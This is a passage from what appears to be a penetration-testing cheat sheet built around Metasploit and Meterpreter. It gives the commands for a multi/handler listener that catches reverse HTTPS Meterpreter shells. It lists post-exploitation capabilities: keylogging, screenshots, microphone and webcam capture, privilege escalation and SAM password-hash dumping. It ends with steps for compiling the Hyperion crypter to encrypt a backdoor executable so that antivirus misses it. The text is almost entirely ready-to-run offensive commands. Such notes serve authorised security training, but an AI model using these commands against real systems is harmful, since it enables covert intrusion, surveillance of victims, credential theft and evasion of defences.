download c:\\Windows\\system32\\calc.exe /tmp/calc.exe - Invoke a command shell from Meterpreter Shell
shell - Exit the meterpreter shell
exit
- Metasploit Exploit Multi Handler
- multi/handler to accept an incoming reverse_https_meterpreter
payload use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST $ip set LPORT 443 exploit [*] Started HTTPS reverse handler on https://$ip:443/
- Building Your Own MSF Module
mkdir -p ~/.msf4/modules/exploits/linux/misc cd ~/.msf4/modules/exploits/linux/misc cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb nano crossfire.rb
- Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)
downloadDownload a file or directoryuploadUpload a file or directoryportfwdForward a local port to a remote servicerouteView and modify the routing tablekeyscan_startStart capturing keystrokeskeyscan_stopStop capturing keystrokesscreenshotGrab a screenshot of the interactive desktoprecord_micRecord audio from the default microphone for X secondswebcam_snapTake a snapshot from the specified webcamgetsystemAttempt to elevate your privilege to that of local system.hashdumpDumps the contents of the SAM database
- Meterpreter Post Exploitation Features
- Create a Meterpreter background session
background
Bypassing Antivirus Software
- Crypting Known Malware with Software Protectors
- One such open source crypter, called Hyperion
cp /usr/share/windows-binaries/Hyperion-1.0.zip unzip Hyperion-1.0.zip cd Hyperion-1.0/ i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll . cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll . wine hyperion.exe ../backdoor.exe ../crypted.exe
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